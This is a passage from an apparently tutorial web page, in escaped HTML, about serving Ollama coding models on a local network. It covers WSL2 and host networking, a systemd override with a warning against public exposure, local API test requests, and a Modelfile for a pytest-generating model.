stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 24,48 L 200,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 24,96 L 200,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 176,160 L 328,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 24,192 L 200,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,192 L 424,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 272,224 L 408,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 24,240 L 200,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 272,256 L 408,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,272 L 424,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,288 L 448,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,0 L 0,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 24,48 L 24,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 24,192 L 24,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,112 L 56,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 176,112 L 176,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,48 L 200,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,192 L 200,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,192 L 256,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 272,224 L 272,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,224 L 408,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 424,192 L 424,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 448,0 L 448,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,104 L 56,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='72.000000,112.000000 60.000000,106.400002 60.000000,117.599998' fill='currentColor' transform='rotate(270.000000, 56.000000, 112.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 56,176 L 56,184' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='72.000000,176.000000 60.000000,170.399994 60.000000,181.600006' fill='currentColor' transform='rotate(90.000000, 56.000000, 176.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 176,104 L 176,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='192.000000,112.000000 180.000000,106.400002 180.000000,117.599998' fill='currentColor' transform='rotate(270.000000, 176.000000, 112.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 328,176 L 328,184' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='344.000000,176.000000 332.000000,170.399994 332.000000,181.600006' fill='currentColor' transform='rotate(90.000000, 328.000000, 176.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='16' y='20' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='20' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='68' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='84' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='212' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='228' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='84' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='212' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='228' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='20' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='212' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='228' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='84' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='212' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='68' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='148' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='212' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='228' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='20' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='84' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='148' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='148' fill='currentColor' style='font-size:1em'\u003e7\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='228' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='68' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='84' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='212' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='228' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='84' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='148' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='212' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='228' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='84' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='20' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='68' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='84' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='148' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='212' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='228' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='84' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='212' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='228' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='68' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='84' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='148' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='212' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='84' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='212' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='84' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='132' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='132' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='132' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='132' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='212' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='132' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='212' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='212' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='244' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='212' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='244' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='132' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='132' fill='currentColor' style='font-size:1em'\u003e7\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='212' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='244' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='132' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='244' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='212' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='244' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='132' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='212' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='244' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='212' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='132' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='212' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='244' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='132' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='212' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='244' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='132' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='244' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='212' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eVisual Notes:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe loopback boundary prevents WSL2 from communicating with native Windows processes over \u003ccode\u003elocalhost\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eExposing the service to \u003ccode\u003e0.0.0.0\u003c/code\u003e allows WSL2 (and other network clients) to route requests via the internal Host IP.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eShared development machine:\u003c/strong\u003e A Linux workstation running Ollama serving a MacBook on the same local network. Set \u003ccode\u003eOLLAMA_HOST=0.0.0.0:11434\u003c/code\u003e on the Linux machine. Restrict access to your specific client IP with a firewall rule.\u003c/p\u003e\n\u003cp\u003eTo configure this on Linux via systemd override:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo systemctl edit ollama\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAdd these lines in the editor that opens:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-ini\" data-lang=\"ini\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003e[Service]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eEnvironment\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;OLLAMA_HOST=0.0.0.0:11434\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eNever expose Ollama to the public internet. The API accepts arbitrary model requests with no authentication — a publicly exposed port is a compute resource available to anyone who finds it.\u003c/p\u003e\n\u003ch3 id=\"verifying-the-api\"\u003eVerifying the API\u003c/h3\u003e\n\u003cp\u003eTest that the model responds to a generation request:\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003emacOS/Linux (bash):\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecurl http://localhost:11434/api/generate \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  -d \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;{\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    \u0026#34;model\u0026#34;: \u0026#34;my-coder\u0026#34;,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    \u0026#34;prompt\u0026#34;: \u0026#34;def fibonacci(n):\u0026#34;,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    \u0026#34;stream\u0026#34;: false\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e  }\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eWindows (PowerShell):\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eInvoke-RestMethod -Uri http\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e:\u003c/span\u003e//localhost\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e11434\u003c/span\u003e/api/generate -Method Post -Body (@{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    model = \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;my-coder\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    prompt = \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;def fibonacci(n):\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    stream = $false\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e} | ConvertTo-Json)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe response JSON includes a \u003ccode\u003eresponse\u003c/code\u003e field with the generated completion. Using \u003ccode\u003estream: false\u003c/code\u003e waits for the full completion before returning — good for testing. In production, set \u003ccode\u003estream: true\u003c/code\u003e so your TUI displays tokens as they arrive rather than waiting for the full response.\u003c/p\u003e\n\u003ch2 id=\"hands-on-example-building-a-focused-coding-model\"\u003eHands-On Example: Building a Focused Coding Model\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eScenario:\u003c/strong\u003e You need a model tuned specifically for writing pytest unit tests — terse output, no explanations, constrained to the pytest framework.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eStep 1: Create \u003ccode\u003eModelfile.tests\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFROM opencoder:8b\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePARAMETER num_ctx 8192\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePARAMETER temperature 0.1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSYSTEM \u0026#34;\u0026#34;\u0026#34;You are a senior developer writing pytest unit tests.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eGenerate ONLY valid pytest code. Do NOT explain what the tests do.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUse descriptive test function names. Cover edge cases and failure conditions.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eImport any required modules at the top of the output.\u0026#34;\u0026#34;\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eStep 2: Build and test\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama create pytest-coder -f Modelfile.tests\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama run pytest-coder \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Write tests for: def divide(a: float, b: float) -\u0026gt; float\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eExpected output — clean pytest code, no prose:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e pytest\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003efrom\u003c/span\u003e mymodule \u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e divide\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003etest_divide_positive_numbers\u003c/span\u003e():\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eassert\u003c/span\u003e divide(\u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e5.0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003etest_divide_negative_numbers\u003c/span\u003e():\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eassert\u003c/span\u003e divide(\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e5.0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003etest_divide_by_zero_raises\u003c/span\u003e():\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ewith\u003c/span\u003e pytest\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eraises(\u003cspan style=\"color:#a6e22e\"\u003eZeroDivisionError\u003c/span\u003e):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        divide(\u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan 